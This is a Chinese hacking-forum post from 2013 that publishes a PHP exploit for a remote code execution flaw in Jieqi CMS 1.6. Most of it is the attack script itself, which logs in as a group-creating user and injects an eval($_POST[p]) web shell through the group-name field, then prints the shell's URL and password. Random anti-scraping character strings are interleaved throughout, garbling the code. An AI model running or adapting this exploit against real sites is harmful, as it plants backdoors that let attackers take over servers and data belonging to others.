找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1971|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。# C' {" c& v! \; ?" v
' W8 }9 \* B+ U3 }, V) b
  r" t. N& x2 i: }8 H
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
! k+ g6 t1 ?% e1 m' q 需要有一个能创建圈子的用户。4 a) q/ e1 J% W

/ y6 g! c  I& D<?php
4 E& y+ B5 {$ ?  ]( s2 d7 K: _; d
3 S3 H, N# M5 `6 Y0 n  H! wprint_r('
6 l6 z- ]! R3 P6 C% W! P% Z! N+---------------------------------------------------------------------------+
1 c( O3 E7 F$ }% M$ jJieqi CMS V1.6 PHP Code Injection Exploit
( m+ ~8 l! k0 g; k! g1 bby flyh4t
9 v5 C' C: |2 j9 Z$ ?" Rmail: phpsec at hotmail dot com0 m" y2 T( |/ z9 Z- P6 V
team: http://www.wolvez.org7 e# t* u2 a; l! p. @# }* b3 X
+---------------------------------------------------------------------------+
: {: y$ t! T" ?( I& o'); /**7 Q; w6 [$ ~( J& q& o5 @1 |! |* o
* works regardless of php.ini settings
/ y2 B; C- [8 }: {5 d* I*/ if ($argc < 5) { print_r('
6 T4 i% \% A- A; D+---------------------------------------------------------------------------+) d: y- R% z9 @! O. k7 y3 w
Usage: php '.$argv[0].' host path username
; X: ^8 Q% {1 k1 k$ }; V' Fhost:      target server (ip/hostname)
  O1 K' a" _/ h. ^& Ppath:      path to jieqicms - @7 k! I5 r2 L& y
uasename:  a username who can create group# Z4 a0 ~4 i, O8 j8 }! n* v
Example:* A! ]. k. N. E, ]7 b
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
9 s% I$ V) J, ?/ y" n& L+---------------------------------------------------------------------------+
! G5 `' y" K# ^! o6 ]% T8 J'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
9 K5 D5 w/ h# L' e- n# ~Content-Disposition: form-data; name="gname"7 u" Q$ V, v% e# t( w% u

5 E& Y$ O& j* Y'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
7 Q1 B8 c* Y/ V  H6 K, c6 U% n# O7 }-----------------------------23281168279961- |6 X9 E. T5 u* O9 q
Content-Disposition: form-data; name="gcatid"% X: U5 u. Q/ J7 |

0 M4 a- |$ Q0 `1
% E) _  P* u1 A8 a( Q5 }-----------------------------23281168279961! K+ C# s% v5 X& A
Content-Disposition: form-data; name="gaudit"2 r9 \, i( |* M8 r2 g# Y- x
" l# d; |- o+ `5 {' g3 B; i9 v
1
9 X! ^( `/ w" h-----------------------------23281168279961' M1 o& {, l0 ^7 t1 s
Content-Disposition: form-data; name="gbrief"
# Q% P) o7 D2 X% o$ q4 ?$ ]5 S
7 C, C- H2 u( A% J) `1
9 Y3 B! Q' v: t-----------------------------23281168279961--
- `* h1 v; Y* K4 W8 P  K' G4 g'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com+ N+ ]! o* R; J' P1 i7 i3 X
6 _" `9 @  M( b# @0 D' w
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表